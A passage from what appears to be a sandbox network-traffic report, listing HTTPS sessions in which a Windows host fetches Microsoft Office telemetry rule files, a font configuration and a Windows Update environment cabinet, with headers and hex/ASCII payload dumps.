R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223623Z-16547b76f7fkz9l7hC1DFW35uc00000000eg0000000021qx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223623Z-16547b76f7fnlq8chC1DFWxnen000000032000000000hvxa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223623Z-1866b5c5fbbfkdfghC1DFW4sv400000002k0000000007byv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49744	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 22:36:24 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=65358 Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-16 22:36:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223624Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003sg000000006p08 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223624Z-16547b76f7fw2955hC1DFWsptc0000000410000000000e3e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223624Z-1866b5c5fbbfkdfghC1DFW4sv400000002d000000000nhbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223624Z-16547b76f7f9s8x7hC1DFWywrg000000039g000000002hv9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223624Z-164f84587bfbvgrghC1DFWbs7w00000003dg0000000070p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-16547b76f7fxqj4khC1DFWpypw00000000p000000000srh0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49743	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RG6Nd1aE82NTwYU&MD=69fRbgRy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 22:36:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 36aacfec-cecf-4ec3-a6a0-9544fe584a65 MS-RequestId: 18ef4541-628d-42b6-8841-1df628391666 MS-CV: YPBPg5/hPkWbQ5Sv.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 22:36:24 GMT Connection: close Content-Length: 24490
2024-11-16 22:36:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-16 22:36:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-16547b76f7fmcv27hC1DFWgpcg000000027g000000008vbt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
